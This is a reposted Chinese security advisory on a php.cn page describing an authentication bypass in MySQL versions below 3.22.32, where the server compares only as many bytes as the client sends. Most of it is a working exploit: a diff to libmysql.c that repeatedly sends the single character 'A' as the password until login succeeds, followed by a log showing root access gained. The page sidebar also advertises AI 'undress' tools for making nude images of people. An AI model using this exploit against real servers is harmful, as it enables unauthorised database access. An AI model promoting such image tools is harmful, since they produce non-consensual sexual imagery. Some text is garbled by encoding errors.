찾다
php教程php手册◆ Mysql低版本存在的远程访问漏洞

mysql|访问

◆ Mysql远程访问漏洞


    一. 概述

MySQL是一个常用的小型数据库系统,国内有很多站点正在使用它作为web数据库。
在MySQL的口令验证机制里存在安全漏洞。它允许任何用户从有目标机器数据库访问权限
的机器上与该数据库进行连接。攻击者不必知道帐号的口令,而只需知道一个可用的帐号
名即可。
所有低于Mysql 3.22.32的版本可能都是有问题的。

二. 细节

MySQL的口令认证的机制是这样的:当一个客户端发送一个连接请求的时候,服务端会首
先产生一个随机字符串(A),将这个字符串发送给客户端,客户端会用这个字符串和用户
输入的口令所产生的Hash值(B)生成一个新的字符串(C)。 并将这个新的字符串返回给服
务端。服务端将原先的随机字符串(A)与数据库中保存的口令Hash值(B')再生成一个字符
串(C'),比较这两个字符串(C和C')的内容是否一致,如果一致就允许登录,否则就不允许
登录。

然而,当比较C和C'这两个字符串内容的时候,由于没有考虑比较字符串的长度,导致了
问题的产生。从sql/password.c中可以看到有问题的代码部分:

my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* Wrong password */
}
return 0;
}
......

这里的scrambled就是客户端提供的字符串C,(*to++ ^ extra))就是服务端生成的字符串
C'(中的一个字符).我们可以看到,比较的次数决定于客户端提供的字符串C的长度。问
题就出在这里了,本来服务端应当首先判断这两个字符串长度是否相等的,但是它没有,
所以如果客户端提供的字符串只有一个字符,那么check_scramble()将只比较C和C'的第
一个字节。


C'的内容是随机产生的,所以第一次登录和第二次登录时,C'的第一个字符通常是不同的。
例如:
@SQOGRFA 第一次
VV]KPIU_ 第二次
M[PPRYX^ 第三次

但是,根据分析,C'的每一个字符只可能有32种可能性,即:
ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^

那么理论上说,如果我们每次连接都发送同一个字符(比如'A')作为口令,那么32次连接
中会有一次成功。当然,这只是从概率上统计,实际上尝试的次数会从1次到100多次不等。

三. 测试程序

根据上面的分析,我们只要每次发送一个字符给服务端,如果返回错误信息,我们再次发
送这个字符,直到成功为止。为了简单起见,我们可以修改mysql的client程序.
在client/libmysql.c中, mysql_real_connect()函数是用来与服务端建立连接的。

......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

......
DBUG_PRINT("info",("user: %s",buff+5));
/* 这里的scramble()函数将产生校验用的口令字符串C,然后将C复制到strend(buff+5)+1
处,既然我们只是要发送一个字符过去,我们可以注释掉这两行,直接将一个字?br> 复制过去即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));

if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
} ?br> ?br> 修改后变成: ?br> ?.....
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

......
DBUG_PRINT("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;
*end = '\0'; ?br>
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
}

然后我们将这个mysql_real_connect()改名成mysql_real_connect_orig(),构造一个新的
mysql_real_connect(),它将循环调用原来的mysql_real_connect_orig(),当不断尝试发送
字符'A'进行连接,直到通过口令验证为止。


注意:下面提供的程序仅供在本机测试使用,请不要用于非法目的,后果自负!

libmysql.c.diff
8--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;

+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)

#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}


-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/

MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* We skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("Trying %d times\n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* We just send one character as password */
+ end ++;
+ ?end = '\0';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return NULL; /* If login failed,we return NULL */
if (client_flag & CLIENT_COMPRESS) /* We will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}

+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("\nooOH,We come in! ;-)\n\n");
+ return res;
+
+}

static my_bool mysql_reconnect(MYSQL *mysql)
{

>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----

[warning3@warninng3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warninng3 warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[warning3@warninng3 warning3]$ cd mysql-3.22.27
[warning3@warninng3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warninng3 client]$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times

ooOH,We come in! ;-)

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27

Type 'help' for help.

mysql>

四. 解决办法

1. 升级到最新版:


2. 对于外部连接做Ip限制 ?br>

感谢:

Robert van der Meulen 他发现了这个漏洞。:)
tb 他帮助我完成这个exploit




성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

MinGW - Windows용 미니멀리스트 GNU

MinGW - Windows용 미니멀리스트 GNU

이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

SublimeText3 Linux 새 버전

SublimeText3 Linux 새 버전

SublimeText3 Linux 최신 버전

DVWA

DVWA

DVWA(Damn Vulnerable Web App)는 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. 주요 목표는 보안 전문가가 법적 환경에서 자신의 기술과 도구를 테스트하고, 웹 개발자가 웹 응용 프로그램 보안 프로세스를 더 잘 이해할 수 있도록 돕고, 교사/학생이 교실 환경 웹 응용 프로그램에서 가르치고 배울 수 있도록 돕는 것입니다. 보안. DVWA의 목표는 다양한 난이도의 간단하고 간단한 인터페이스를 통해 가장 일반적인 웹 취약점 중 일부를 연습하는 것입니다. 이 소프트웨어는

Atom Editor Mac 버전 다운로드

Atom Editor Mac 버전 다운로드

가장 인기 있는 오픈 소스 편집기

안전한 시험 브라우저

안전한 시험 브라우저

안전한 시험 브라우저는 온라인 시험을 안전하게 치르기 위한 보안 브라우저 환경입니다. 이 소프트웨어는 모든 컴퓨터를 안전한 워크스테이션으로 바꿔줍니다. 이는 모든 유틸리티에 대한 액세스를 제어하고 학생들이 승인되지 않은 리소스를 사용하는 것을 방지합니다.